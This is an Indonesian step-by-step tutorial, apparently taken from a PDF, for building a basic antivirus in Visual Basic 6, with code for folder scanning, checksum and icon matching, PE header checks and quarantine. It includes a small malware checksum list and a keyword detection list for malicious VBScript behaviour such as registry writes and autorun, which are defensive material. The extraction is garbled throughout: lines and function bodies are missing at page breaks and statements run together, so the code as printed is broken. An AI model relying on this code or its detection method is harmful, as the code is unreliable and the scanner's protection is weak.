CARA MEMBUAT DAN ANTIVIRUS SENDIRI

Teks penuh

(1)

CARA MEMBUAT ANTIVIRUS SENDIRI

CARA MEMBUAT ANTIVIRUS DNGAN VB

1.Buka program microsoft visual basic 6.0 -> Standard EXE -> OK maka akan tampil form baru sesuai dengan gambar di bawah,desain form sesuai keinginan anda

Beri nama form tersebut : frmUtama

(2)

contoh seperti gambar di bawah ini

3.Setelah component sukses di tambahkan langkah selanjutnya adalah menambah Command Button,Textbox,Listview,Picture Box

disini saya menggunakan desain yang sangat sederhana,desain bisa anda rubah sendiri sesuai kreatifitas anda ^^

(3)

yang saya lingkari merah adalah listview yang telah di tambahkan ke dalam form.

setelah itu setting listview dengan cara

(4)

Lalu pada tab Column Headers klik insert column - Column 1 beri nama : Virus Name

- Column 2 beri nama : Path

- Column 3 beri nama : Checksum Virus - Column 4 beri nama : Status Virus lalu klik Ok

(5)

Setting :

Appearance : Flat Auto Redraw : True Border Style : None Visible : False

Tambahkan Textbox ke dalam form dengan nama txtPath Setting :

Appearance : Flat Border Style : None

Tambahkan Command Button dengan nama cmdBrowse di samping Textbox yang telah di buat tadi Setting :

Caption : ...

Masukan Code ini ke dalam cmdBrowse

Spoiler: Code:

Dim Pathnya As String Pathnya = ""

Pathnya = BrowseFolder("Pilih folder yang akan di Scan:", Me) If Pathnya <> "" Then

txtPath.Text = Pathnya End If

Code di atas berfungsi untuk membuka kotak dialog yang berisi path" yang ada di dalam komputer lalu mencetaknya ke dalam textbox yang bernama txtPath

Tambahkan label dengan nama default Setting :

Caption : Dir Scanned

Tambahkan label dengan nama lblDirScan Setting :

Caption : 0

Tambahkan label dengan nama default Setting :

Caption : Detected

Tambahkan label dengan nama lblFileDet Setting :

Caption : 0

Tambahkan label dengan nama default Setting :

Caption : File Scanned

Tambahkan label dengan nama lblFileScan Setting :

Caption : 0

(6)

Multiline : True Scroll Bar : 2-Vertical

Tambahkan Command Button dengan nama cmdScan Setting :

Caption : &Scan

Spoiler: 'Code:

If cmdScan.Caption = "Scan" Then Pathnya = txtPath.Text

If Mid(Pathnya, 2, 1) <> ":" Or Pathnya = "" Then

MsgBox "Direktori Tidak Ditemukan", vbCritical, "Error" Exit Sub

Else

lvScan.Enabled = False cmdEnable False, False, False clear_log

cmdScan.Caption = "Stop" StopScan = False

FindFilesEx txtPath.Text, CBool(chkSubDir.Value)

MsgBox "Scan finished !" & vbNewLine & vbNewLine & "Total Dir Scanned = " & lblDirScan.Caption & _

vbNewLine & "Total File Scanned = " & lblFileScan.Caption & vbNewLine & "Total File Detected = " & lblFileDet.Caption, vbInformation, "Finish"

If lblFileDet.Caption <> "0" Then cmdEnable True, True, True Else

cmdEnable False, False, True End If

lvScan.Enabled = True cmdScan.Caption = "Scan" End If

Else

cmdScan.Caption = "Scan" StopScan = True

End If

fungsi kode di atas adalah untuk memulai scan pada antivirus

Tambahkan Command Button dengan nama cmdAction Setting :

Caption : &Delete

Tambahkan Command Button dengan nama cmdAction Setting :

Caption : &Quarantine

Tambahkan Command Button dengan nama cmdViewQ Setting :

Caption : &View Quarantine File

Tambahkan Command Button dengan nama cmdAction Setting :

(7)

Tambahkan kode ini di dalamnya

Spoiler: 'Code:

Dim DftrFile As String

DftrFile = GetSelected(lvScan) If DftrFile = "" Then

MsgBox "No Detected File(s) Selected", vbCritical, "" Exit Sub

End If

Select Case Index Case 0

clean = Action(DftrFile, lvScan, "D") MsgBox clean & " File(s) has been deleted" Case 1

clean = Action(DftrFile, lvScan, "Q")

MsgBox clean & " File(s) has been quarantine" End Select

Fungsi di atas adalah fungsi untuk menghapus/mengkarantina file yang terdeteksi

Tambahkan Command Button dengan nama cmdAction Setting :

Caption : &Quarantine

Tambahkan Command Button dengan nama cmdViewQ Setting :

Caption : &View Quarantine File

Lalu masukan code ini ke dalamnya

Spoiler: Me.hide

frmquarantine.show

Code di atas berfungsi untuk memunculkan form quarantine dan meng enabled form utama

(8)

lalu klik kanan pada form masukan kode di bawah ini

Spoiler: /Code:

Private Sub lvScan_ItemCheck(ByVal Item As MSComctlLib.ListItem) UnSelect lvScan, "Di Karantina"

(9)

Private Function cmdEnable(hapus As Boolean, Quarantine As Boolean, openQuarantine As Boolean)

cmdAction(0).Enabled = hapus cmdAction(1).Enabled = Quarantine cmdViewQ.Enabled = openQuarantine End Function

Private Function clear_log() lblDirScan.Caption = 0 lblFileScan.Caption = 0 lblFileDet.Caption = 0 lvScan.ListItems.Clear jumlahDir = 0

jumlahFile = 0 jumlahVirus = 0 End Function

lalu di Form_load() masukan kode ini

Spoiler: 'Code:

On Error Resume Next MkDir "Quarantine" BuildDatabase

Lalu buatlah 1 module dengan nama modAPI

Lalu tambahkan code di bawah ini

Spoiler: 'Code:

Public Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long

Public Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long

Public Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long

Public Declare Function PathIsDirectory Lib "shlwapi.dll" Alias "PathIsDirectoryA" (ByVal pszPath As String) As Long

Public Declare Function CopyFile Lib "kernel32.dll" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long

Public Declare Function MoveFile Lib "kernel32.dll" Alias "MoveFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String) As Long

Public Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long

Public Declare Function PathFileExists Lib "shlwapi.dll" Alias "PathFileExistsA" (ByVal pszPath As String) As Long

Public Declare Function GetSystemDirectory Lib "kernel32.dll" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Public Declare Function GetWindowsDirectory Lib "kernel32.dll" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Public Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long

Public Declare Function SHBrowseForFolder Lib "shell32.dll" Alias "SHBrowseForFolderA" (lpBrowseInfo As BROWSEINFO) As Long

Private Declare Function RealizePalette Lib "gdi32" (ByVal hDC As Long) As Long

(10)

String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As Any, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long

Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Public Declare Function GetFileSize Lib "kernel32" (ByVal hFile As Long, lpFileSizeHigh As Long) As Long

Public Declare Function VirtualAlloc Lib "kernel32" (lpAddress As Any, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long

Public Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, lpOverlapped As Any) As Long Public Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, lpOverlapped As Any) As Long

Public Declare Function SetFilePointer Lib "kernel32" (ByVal hFile As Long, ByVal

lDistanceToMove As Long, lpDistanceToMoveHigh As Long, ByVal dwMoveMethod As Long) As Long

Public Declare Function SetEndOfFile Lib "kernel32" (ByVal hFile As Long) As Long

Public Const GENERIC_READ = &H80000000 Public Const GENERIC_WRITE = &H40000000 Public Const FILE_SHARE_READ = &H1 Public Const OPEN_EXISTING = 3

Public Const FILE_ATTRIBUTE_NORMAL = &H80 Public Const INVALID_HANDLE_VALUE = -1 Public Const FILE_END = 2

Public Const FILE_BEGIN = 0 Public Const FILE_CURRENT = 1 Public Const LWA_COLORKEY = &H1 Public Const GWL_EXSTYLE = (-20)

Public Const WS_EX_LAYERED = &H80000 Public Const MAX_PATH = 260

Public Const SW_SHOWNORMAL = 1

Public Type FileTime dwLowDateTime As Long dwHighDateTime As Long End Type

Public Type WIN32_FIND_DATA dwFileAttributes As Long

ftCreationTime As FileTime ftLastAccessTime As FileTime ftLastWriteTime As FileTime nFileSizeHigh As Long nFileSizeLow As Long dwReserved0 As Long dwReserved1 As Long

cFileName As String * MAX_PATH cAlternate As String * 14

End Type

Type BROWSEINFO hOwner As Long pidlRoot As Long

(11)

lpszTitle As String ulFlags As Long lpfn As Long lParam As Long iImage As Long End Type

'untuk browse folder

Public Function BrowseFolder(ByVal aTitle As String, ByVal aForm As Form) As String Dim bInfo As BROWSEINFO

Dim rtn&, pidl&, path$, pos% Dim BrowsePath As String bInfo.hOwner = aForm.hWnd bInfo.lpszTitle = aTitle bInfo.ulFlags = &H1

pidl& = SHBrowseForFolder(bInfo) path = Space(512)

t = SHGetPathFromIDList(ByVal pidl&, ByVal path) pos% = InStr(path$, Chr$(0))

BrowseFolder = Left(path$, pos - 1) If Right$(Browse, 1) = "\" Then BrowseFolder = BrowseFolder Else

BrowseFolder = BrowseFolder + "\" End If

If Right(BrowseFolder, 2) = "\\" Then BrowseFolder = Left(BrowseFolder, Len(BrowseFolder) - 1) If BrowseFolder = "\" Then BrowseFolder = ""

End Function

Public Function StripNulls(ByVal OriginalStr As String) As String If (InStr(OriginalStr, Chr$(0)) > 0) Then

OriginalStr = Left$(OriginalStr, InStr(OriginalStr, Chr(0)) - 1) End If

StripNulls = OriginalStr End Function

'fungsi untuk menentukan file script atau bukan

Public Function IsScript(Filename As String) As Boolean IsScript = False

ext = Split("|vbs|vbe", "|") For i = 1 To UBound(ext)

If LCase(Right(Filename, 3)) = LCase(ext(i)) Then IsScript = True Next

End Function

Code di atas adalah Fungsi API yang di butuhkan untuk antivirus

Buat 1 module dengan nama modChecksum masukan code di bawah ini.

Spoiler: 'Code:

Public Function GetChecksum(FilePath As String) As String Dim CheckSum(1 To 2) As String

(12)

GetChecksum = CheckSum(1) & CheckSum(2) End Function

Public Function CalcBinary(ByVal lpFileName As String, ByVal lpByteCount As Long, Optional ByVal StartByte As Long = 0) As String

On Error GoTo err Dim Bin() As Byte Dim ByteSum As Long Dim i As Long

ReDim Bin(lpByteCount) As Byte Open lpFileName For Binary As #1 If StartByte = 0 Then

Get #1, , Bin Else

Get #1, StartByte, Bin End If

Close #1

For i = 0 To lpByteCount

ByteSum = ByteSum + Bin(i) ^ 2 Next i

CalcBinary = Hex$(ByteSum) Exit Function

err:

CalcBinary = "00" End Function

potongan code di atas di gunakan untuk meng kalkulasi checksum

buat 1 module lagi dengan nama modDatabase lalu tambahkan code di bawah ini.

Spoiler: 'Code:

Public VirusDB(5), IconDB(48), Bahaya(5) As String Public Sub BuildDatabase()

Call Checksum_DB Call IconCompare_DB Call Script_DB End Sub

Private Sub Checksum_DB()

VirusDB(1) = "Alman.A|8911D290F723" VirusDB(2) = "Malingsi.A|A6292EA60230" VirusDB(3) = "Conficker.A|9EC112ABB2F3" VirusDB(4) = "N4B3.A|B5CCD36CDB98" VirusDB(5) = "N4B3.B|A1FE6D6DBE07" End Sub

Public Sub IconCompare_DB() On Error Resume Next

(13)

IconDB(10) = "22A064D" IconDB(11) = "19B64EE" IconDB(12) = "1D4B7E1" IconDB(13) = "2087762" IconDB(14) = "29C7258" IconDB(15) = "1B18705" IconDB(16) = "1B5FCAB" IconDB(17) = "126D4CF" IconDB(18) = "1C58E5C" IconDB(19) = "15D7730" IconDB(20) = "1FB82B7" IconDB(21) = "112763E" IconDB(22) = "2165AF9" IconDB(23) = "25F46BE" IconDB(24) = "206556B" IconDB(25) = "22A8D69" IconDB(26) = "19237F8" IconDB(27) = "15022B4" IconDB(28) = "1D8B4EB" IconDB(29) = "1DBC1EA" IconDB(30) = "2333F5D" IconDB(31) = "1F37C2F" IconDB(32) = "1C9CCA4" IconDB(33) = "1DFDFB4" IconDB(34) = "1C1283E" IconDB(35) = "1F6598C" IconDB(36) = "27F4C1A" IconDB(37) = "22F92E0" IconDB(38) = "191DBDC" IconDB(39) = "27BFE4A" IconDB(40) = "20E0907" IconDB(46) = "2FA4C88" IconDB(47) = "25AA630" IconDB(48) = "1DE28E2" End Sub

Public Sub Script_DB() On Error Resume Next

Bahaya(1) = "Scripting.FileSystemObject|Wscript.ScriptFullName|WScript.Shell|.regwrite|.copy" Bahaya(2) = "Wscript.ScriptFullName|createobject|strreverse|.regwrite"

Bahaya(3) = "createobject|Wscript.ScriptFullName|.regwrite|[autorun]" Bahaya(4) = "createobject|Wscript.ScriptFullName|specialfolder|.regwrite"

Bahaya(5) = "chr(asc(mid(|createobject|Wscript.ScriptFullName|.GetFolder|.RegWrite" End Sub

potongan code di atas adalah database pada antivirusnya

buat lagi 1 buah module dengan nama modQuar masukan code yang ada di bawah ini

Spoiler:

Code:

Option Explicit

Public Function EncodeFile(SourceFile As String, DestFile As String) Dim ByteArray() As Byte, Filenr As Integer

Filenr = FreeFile

(14)

ReDim ByteArray(0 To LOF(Filenr) - 1) Get #Filenr, , ByteArray()

Close #Filenr

Call Coder(ByteArray())

If (PathFileExists(DestFile)) <> 0 Then DeleteFile DestFile Open DestFile For Binary As #Filenr

Put #Filenr, , ByteArray() Close #Filenr

End Function

Public Function DecodeFile(SourceFile As String, DestFile As String) Dim ByteArray() As Byte, Filenr As Integer

Filenr = FreeFile

Open SourceFile For Binary As #Filenr ReDim ByteArray(0 To LOF(Filenr) - 1) Get #Filenr, , ByteArray()

Close #Filenr

Call DeCoder(ByteArray())

If (PathFileExists(DestFile)) <> 0 Then DeleteFile DestFile Open DestFile For Binary As #Filenr

Put #Filenr, , ByteArray() Close #Filenr

End Function

Private Sub Coder(ByteArray() As Byte) Dim x As Long

Dim Value As Integer Value = 0

For x = 0 To UBound(ByteArray) Value = Value + ByteArray(x)

If Value > 255 Then Value = Value - 256 ByteArray(x) = Value

Next End Sub

Private Sub DeCoder(ByteArray() As Byte) Dim x As Long

Dim Value As Integer Dim newValue As Integer newValue = 0

For x = 0 To UBound(ByteArray) Value = newValue

newValue = ByteArray(x) Value = ByteArray(x) - Value

If Value < 0 Then Value = Value + 256 ByteArray(x) = Value Next End Sub Code di atas adalah code untuk enkripsi/dekripsi pada virus yang akan di karantina

Buat lagi 1 module dengan nama modHeuristic lalu masukan code di bawah ini

Spoiler: 'Code:

Private Declare Function ExtractIconEx Lib "shell32.dll" Alias "ExtractIconExA" (ByVal lpszFile As String, ByVal nIconIndex As Long, ByRef phiconLarge As Long, ByRef phiconSmall As Long, ByVal nIcons As Long) As Long

Private Declare Function DestroyIcon Lib "user32.dll" (ByVal hIcon As Long) As Long

(15)

Boolean

Private Declare Function ExtractIcon Lib "shell32.dll" Alias "ExtractIconA" (ByVal hInst As Long, ByVal lpszExefileName As String, ByVal nIconIndex As Long) As Long

Private Const DI_MASK = &H1 Private Const DI_IMAGE = &H2 Private Const DI_NORMAL = &H3 Private Const DI_COMPAT = &H4 Private Const DI_DEFAULTSIZE = &H8

Private Const SHGFI_DISPLAYNAME = &H200 Private Const SHGFI_EXETYPE = &H2000 Private Const SHGFI_SYSICONINDEX = &H4000 Private Const SHGFI_LARGEICON = &H0

Private Const SHGFI_SMALLICON = &H1 Private Const ILD_TRANSPARENT = &H1 Private Const SHGFI_SHELLICONSIZE = &H4 Private Const SHGFI_TYPENAME = &H400

Private Const BASIC_SHGFI_FLAGS = SHGFI_TYPENAME Or SHGFI_SHELLICONSIZE Or SHGFI_SYSICONINDEX Or SHGFI_DISPLAYNAME Or SHGFI_EXETYPE

Private SIconInfo As SHFILEINFO

Private SectionHeaders() As IMAGE_SECTION_HEADER Dim i As Integer

Dim j As Integer

Public Function CekHeuristic(Filename As String) CekHeuristic = ""

On Error GoTo hError

Dim hFile As Long, bRW As Long

Dim DOSheader As IMAGE_DOS_HEADER Dim NTHeaders As IMAGE_NT_HEADERS Dim Filedata As String

DOS_HEADER_INFO = "" NT_HEADERS_INFO = ""

hFile = CreateFile(Filename, ByVal (GENERIC_READ Or GENERIC_WRITE),

FILE_SHARE_READ, ByVal 0&, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, ByVal 0) ReadFile hFile, DOSheader, Len(DOSheader), bRW, ByVal 0&

SetFilePointer hFile, DOSheader.e_lfanew, 0, 0

ReadFile hFile, NTHeaders, Len(NTHeaders), bRW, ByVal 0& If NTHeaders.Signature <> IMAGE_NT_SIGNATURE Then If IsScript(Filename) = True Then

Open Filename For Binary As #1 Filedata = Space$(LOF(1)) Get #1, , Filedata

Close #1

CekHeuristic = CekHeur(Filedata) End If

Exit Function End If

CekHeuristic = CekIconBinary(Filename) hError:

End Function

Private Function CekHeur(Data As String) Dim hsl, asl As Integer

strasli = LCase(Replace(Data, vbNewLine, "$")) For i = 1 To UBound(Bahaya)

hsl = 0

(16)

asl = 0

For k = 0 To UBound(strData) xxx = LCase(strData(k))

If InStr(strasli, xxx) > 0 Then hsl = hsl + 1 asl = asl + 1

Next

If hsl = asl Then

CekHeur = "Malicious-Script" Exit Function

End If Next

CekHeur = "" End Function

Private Function CekIconBinary(PathFile As String) Dim q As Integer

Dim IconIDNow As String CekIconBinary = ""

IconIDNow = CalcIcon(PathFile) If IconIDNow = "" Then Exit Function For q = 1 To UBound(IconDB) If IconDB(q) = IconIDNow Then CekIconBinary = "Malicious-Icon" Exit Function

End If Next q End Function

Private Function CalcBinary(ByVal lpFileName As String, ByVal lpByteCount As Long, Optional ByVal StartByte As Long = 0) As String

Dim Bin() As Byte Dim ByteSum As Long Dim i As Long

ReDim Bin(lpByteCount) As Byte Open lpFileName For Binary As #1 If StartByte = 0 Then

Get #1, , Bin Else

Get #1, StartByte, Bin End If

Close #1

For i = 0 To lpByteCount

ByteSum = ByteSum + Bin(i) ^ 2 Next i

CalcBinary = Hex$(ByteSum) End Function

Private Function CalcIcon(ByVal lpFileName As String) As String Dim PicPath As String

Dim ByteSum As String Dim IconExist As Long Dim hIcon As Long

IconExist = ExtractIconEx(lpFileName, 0, ByVal 0&, hIcon, 1)

If IconExist <= 0 Then IconExist = ExtractIconEx(lpFileName, 0, hIcon, ByVal 0&, 1) If IconExist <= 0 Then Exit Function End If frmUtama.sIcon.BackColor = vbWhite DrawIconEx

frmUtama.sIcon.hDC, 0, 0, hIcon, 0, 0, 0, 0, DI_NORMAL DestroyIcon hIcon PicPath = Environ$ ("windir") & "\tmp.tmp" SavePicture frmUtama.sIcon.Image, PicPath ByteSum =

(17)

Fungsi di atas adalah fungsi untuk mengecek suatu file dengan metode heuristic icon + heuristic untuk virus VBS

Buat 1 module dengan nama modIconCompare lalu masukan code di bawah ini

Spoiler: 'Code:

Option Explicit

Private Const SHGFI_DISPLAYNAME = &H200, SHGFI_EXETYPE = &H2000,

SHGFI_SYSICONINDEX = &H4000, SHGFI_LARGEICON = &H0, SHGFI_SMALLICON = &H1, SHGFI_SHELLICONSIZE = &H4, SHGFI_TYPENAME = &H400, ILD_TRANSPARENT = &H1, BASIC_SHGFI_FLAGS = SHGFI_TYPENAME Or SHGFI_SHELLICONSIZE Or

SHGFI_SYSICONINDEX Or SHGFI_DISPLAYNAME Or SHGFI_EXETYPE Public Type SHFILEINFO

hIcon As Long: iIcon As Long: dwAttributes As Long: szDisplayName As String * MAX_PATH: szTypeName As String * 80

End Type

Private Declare Function SHGetFileInfo Lib "shell32.dll" Alias "SHGetFileInfoA" (ByVal pszPath As String, ByVal dwFileAttributes As Long, psfi As SHFILEINFO, ByVal cbSizeFileInfo As Long, ByVal uFlags As Long) As Long

Private Declare Function ImageList_Draw Lib "comctl32.dll" (ByVal himl As Long, ByVal i As Long, ByVal hdcDest As Long, ByVal x As Long, ByVal y As Long, ByVal flags As Long) As Long Private shinfo As SHFILEINFO, sshinfo As SHFILEINFO

Private Declare Function DrawIconEx Lib "user32.dll" (ByVal hDC As Long, ByVal xLeft As Long, ByVal yTop As Long, ByVal hIcon As Long, ByVal cxWidth As Long, ByVal cyWidth As Long, ByVal istepIfAniCur As Long, ByVal hbrFlickerFreeDraw As Long, ByVal diFlags As Long) As Long

Private SIconInfo As SHFILEINFO

Public Enum IconRetrieve ricnLarge = 32

ricnSmall = 16 End Enum

Public Sub RetrieveIcon(fName As String, DC As PictureBox, icnSize As IconRetrieve) Dim hImgSmall, hImgLarge As Long

Debug.Print fName Select Case icnSize Case ricnSmall

hImgSmall = SHGetFileInfo(fName$, 0&, shinfo, Len(shinfo), BASIC_SHGFI_FLAGS Or SHGFI_SMALLICON)

Call ImageList_Draw(hImgSmall, shinfo.iIcon, DC.hDC, 0, 0, ILD_TRANSPARENT) Case ricnLarge

hImgLarge& = SHGetFileInfo(fName$, 0&, shinfo, Len(shinfo), BASIC_SHGFI_FLAGS Or SHGFI_LARGEICON)

Call ImageList_Draw(hImgLarge, shinfo.iIcon, DC.hDC, 0, 0, ILD_TRANSPARENT) End Select

End Sub

Public Function ExtractIcon(Filename As String, AddtoImageList As ImageList, PictureBox As PictureBox, PixelsXY As IconRetrieve, iKey As String) As Long

Dim SmallIcon As Long Dim NewImage As ListImage Dim IconIndex As Integer On Error GoTo Load_New_Icon

(18)

ExtractIcon = AddtoImageList.ListImages(iKey).Index Exit Function

End If

Load_New_Icon:

On Error GoTo Reset_Key

RetrieveIcon Filename, PictureBox, PixelsXY IconIndex = AddtoImageList.ListImages.Count + 1

Set NewImage = AddtoImageList.ListImages.Add(IconIndex, iKey, PictureBox.Image) ExtractIcon = IconIndex

Exit Function Reset_Key: iKey = "" Resume End Function

Public Sub GetLargeIcon(icPath$, pDisp As PictureBox)

Dim hImgLrg&: hImgLrg = SHGetFileInfo(icPath$, 0&, SIconInfo, Len(SIconInfo), BASIC_SHGFI_FLAGS Or SHGFI_LARGEICON)

ImageList_Draw hImgLrg, SIconInfo.iIcon, pDisp.hDC, 0, 0, ILD_TRANSPARENT End Sub

kode di atas di butuhkan untuk metode heuristic icon pada antivirus

Buat 1 module dengan nama modLV lalu masukan code di bawah ini

Spoiler: 'Code:

Public Function GetSelected(TheLV As ListView) Dim Sel As String

For i = 1 To TheLV.ListItems.Count

If TheLV.ListItems.Item(i).Checked = True Then Sel = Sel & "|" & TheLV.ListItems.Item(i).SubItems(1) End If

Next

GetSelected = Sel End Function

Public Function SelectedAll(TheLV As ListView) For i = 1 To TheLV.ListItems.Count

TheLV.ListItems.Item(i).Checked = True Next

End Function

Public Function SelectedNone(TheLV As ListView) For i = 1 To TheLV.ListItems.Count

TheLV.ListItems.Item(i).Checked = False Next

End Function

Public Function GetIndex(TheLV As ListView, Data As String) As Integer For i = 1 To TheLV.ListItems.Count

If TheLV.ListItems.Item(i).SubItems(1) = Data Then GetIndex = i

End If Next

(19)

Public Function UnSelect(TheLV As ListView, Data As String) For i = 1 To TheLV.ListItems.Count

If TheLV.ListItems.Item(i).SubItems(3) = Data Then TheLV.ListItems.Item(i).Checked = False

End If Next

End Function

Public Function AddDetect(TheLV As ListView, FilePath As String, VirData As String) With TheLV

If Left(VirData, 9) <> "Malicious" Then

Set lvItm = .ListItems.Add(, , Split(VirData, "|")(0), , frmUtama.ImgSmall.ListImages(1).Index) lvItm.SubItems(1) = FilePath

lvItm.SubItems(2) = Split(VirData, "|")(1) lvItm.SubItems(3) = "Virus File"

Else

Set lvItm = .ListItems.Add(, , VirData, , frmUtama.ImgSmall.ListImages(1).Index) lvItm.SubItems(1) = FilePath

lvItm.SubItems(2) = GetChecksum(FilePath) lvItm.SubItems(3) = "Virus File"

End If End With End Function

Code di atas berguna untuk dengatur Listview pada saat virus terdeteksi

Buat 1 module dengan nama modPE lalu masukan code di bawah ini

Spoiler: 'Code:

Public Type IMAGE_DOS_HEADER e_magic As Integer

e_cblp As Integer e_cp As Integer e_crlc As Integer e_cparhdr As Integer e_minalloc As Integer e_maxalloc As Integer e_ss As Integer e_sp As Integer e_csum As Integer e_ip As Integer e_cs As Integer e_lfarlc As Integer e_ovno As Integer e_res(1 To 4) As Integer e_oemid As Integer e_oeminfo As Integer e_res2(1 To 10) As Integer e_lfanew As Long

End Type

Public Type IMAGE_SECTION_HEADER nameSec As String * 6

(20)

VirtualSize As Long VirtualAddress As Long SizeOfRawData As Long PointerToRawData As Long PointerToRelocations As Long PointerToLinenumbers As Long NumberOfRelocations As Integer NumberOfLinenumbers As Integer Characteristics As Long

End Type

Public Type IMAGE_DATA_DIRECTORY VirtualAddress As Long

size As Long End Type

Public Type IMAGE_OPTIONAL_HEADER Magic As Integer

MajorLinkerVersion As Byte MinorLinkerVersion As Byte SizeOfCode As Long

SizeOfInitializedData As Long SizeOfUninitializedData As Long AddressOfEntryPoint As Long BaseOfCode As Long

BaseOfData As Long ImageBase As Long SectionAlignment As Long FileAlignment As Long

MajorOperatingSystemVersion As Integer MinorOperatingSystemVersion As Integer MajorImageVersion As Integer

MinorImageVersion As Integer MajorSubsystemVersion As Integer MinorSubsystemVersion As Integer Win32VersionValue As Long SizeOfImage As Long SizeOfHeaders As Long CheckSum As Long Subsystem As Integer DllCharacteristics As Integer SizeOfStackReserve As Long SizeOfStackCommit As Long SizeOfHeapReserve As Long SizeOfHeapCommit As Long LoaderFlags As Long

NumberOfRvaAndSizes As Long

DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY End Type

Public Type IMAGE_FILE_HEADER Machine As Integer

(21)

PointerToSymbolTable As Long NumberOfSymbols As Long SizeOfOptionalHeader As Integer Characteristics As Integer

End Type

Public Type IMAGE_NT_HEADERS Signature As Long

FileHeader As IMAGE_FILE_HEADER

OptionalHeader As IMAGE_OPTIONAL_HEADER End Type

Public Type IMAGE_EXPORT_DIRECTORY Characteristics As Long

TimeDateStamp As Long MajorVersion As Integer MinorVersion As Integer Name As Long

Base As Long

NumberOfFunctions As Long NumberOfNames As Long AddressOfFunctions As Long AddressOfNames As Long AddressOfNameOrdinals As Long End Type

Public Type IMAGE_IMPORT_DESCRIPTOR OriginalFirstThunk As Long

TimeDateStamp As Long ForwarderChain As Long Name As Long

FirstThunk As Long End Type

Public Type IMAGE_IMPORT_BY_NAME Hint As Integer

Name As String * 255 End Type

Public Const IMAGE_SIZEOF_SECTION_HEADER = 40 Public Const IMAGE_DOS_SIGNATURE = &H5A4D Public Const IMAGE_NT_SIGNATURE = &H4550 Public Const IMAGE_ORDINAL_FLAG = &H80000000

Public Enum SECTION_CHARACTERISTICS

IMAGE_SCN_LNK_NRELOC_OVFL = &H1000000 'Section contains extended relocations. IMAGE_SCN_MEM_DISCARDABLE = &H2000000 'Section can be discarded.

(22)

Public Enum IMAGE_DIRECTORY

IMAGE_DIRECTORY_ENTRY_EXPORT = 0 ' Export Directory IMAGE_DIRECTORY_ENTRY_IMPORT = 1 ' Import Directory IMAGE_DIRECTORY_ENTRY_RESOURCE = 2 ' Resource Directory IMAGE_DIRECTORY_ENTRY_EXCEPTION = 3 ' Exception Directory IMAGE_DIRECTORY_ENTRY_SECURITY = 4 ' Security Directory IMAGE_DIRECTORY_ENTRY_BASERELOC = 5 ' Base Relocation Table IMAGE_DIRECTORY_ENTRY_DEBUG = 6 ' Debug Directory

IMAGE_DIRECTORY_ENTRY_ARCHITECTURE = 7 ' Architecture Specific Data IMAGE_DIRECTORY_ENTRY_GLOBALPTR = 8 ' RVA of GP

IMAGE_DIRECTORY_ENTRY_TLS = 9 ' TLS Directory

IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG = 10 ' Load Configuration Directory IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT = 11 ' Bound Import Directory in headers IMAGE_DIRECTORY_ENTRY_IAT = 12 ' Import Address Table

IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT = 13 ' Delay Load Import Descriptors IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR = 14 ' COM Runtime descriptor End Enum

code di atas berfungsi untuk pengecekan PE HEADER

buat 1 module dengan nama modScanning lalu tambahkan code di bawah ini

Spoiler: 'Code:

Public jumlahDir As Long, jumlahFile As Long, jumlahVirus As Long Public StopScan As Boolean

Public Function CekVirus(FilePath As String) As String CekVirus = ""

For i = 1 To UBound(VirusDB)

If GetChecksum(FilePath) = Split(VirusDB(i), "|")(1) Then CekVirus = VirusDB(i)

Exit Function End If Next

If FileLen(FilePath) / 1024 <= 512 Then CekVirus = CekHeuristic(FilePath) End If End Function Public Sub FindFilesEx(ByVal lpFolderName As String, ByVal SubDirs As Boolean) Dim i As Long Dim hSearch As Long, WFD As WIN32_FIND_DATA Dim Result As Long, CurItem As String Dim tempDir() As String, dirCount As Long Dim RealPath As String, GetViri As String GetViri = "" dirCount = -1 ScanInfo = "Scan File" If Right$(lpFolderName, 1) = "\" Then RealPath =

lpFolderName Else RealPath = lpFolderName & "\" End If hSearch = FindFirstFile(RealPath & "*", WFD) If Not hSearch = INVALID_HANDLE_VALUE Then Result = True Do While Result

DoEvents If StopScan = True Then Exit Do CurItem = StripNulls(WFD.cFileName) If Not CurItem = "." And Not CurItem = ".." Then If PathIsDirectory(RealPath & CurItem) <> 0 Then

jumlahDir = jumlahDir + 1

frmUtama.lblDirScan.Caption = jumlahDir If SubDirs = True Then

dirCount = dirCount + 1

ReDim Preserve tempDir(dirCount) As String tempDir(dirCount) = RealPath & CurItem End If

Else

jumlahFile = jumlahFile + 1

frmUtama.lblFileScan.Caption = jumlahFile frmUtama.txtFileScan.Text = RealPath & CurItem

(23)

If WFD.nFileSizeLow > 5120 Or WFD.nFileSizeHigh > 5120 Then GetViri = CekVirus(RealPath & CurItem)

If GetViri <> "" Then

AddDetect frmUtama.lvScan, RealPath & CurItem, GetViri jumlahVirus = jumlahVirus + 1

frmUtama.lblFileDet.Caption = jumlahVirus End If

End If End If End If

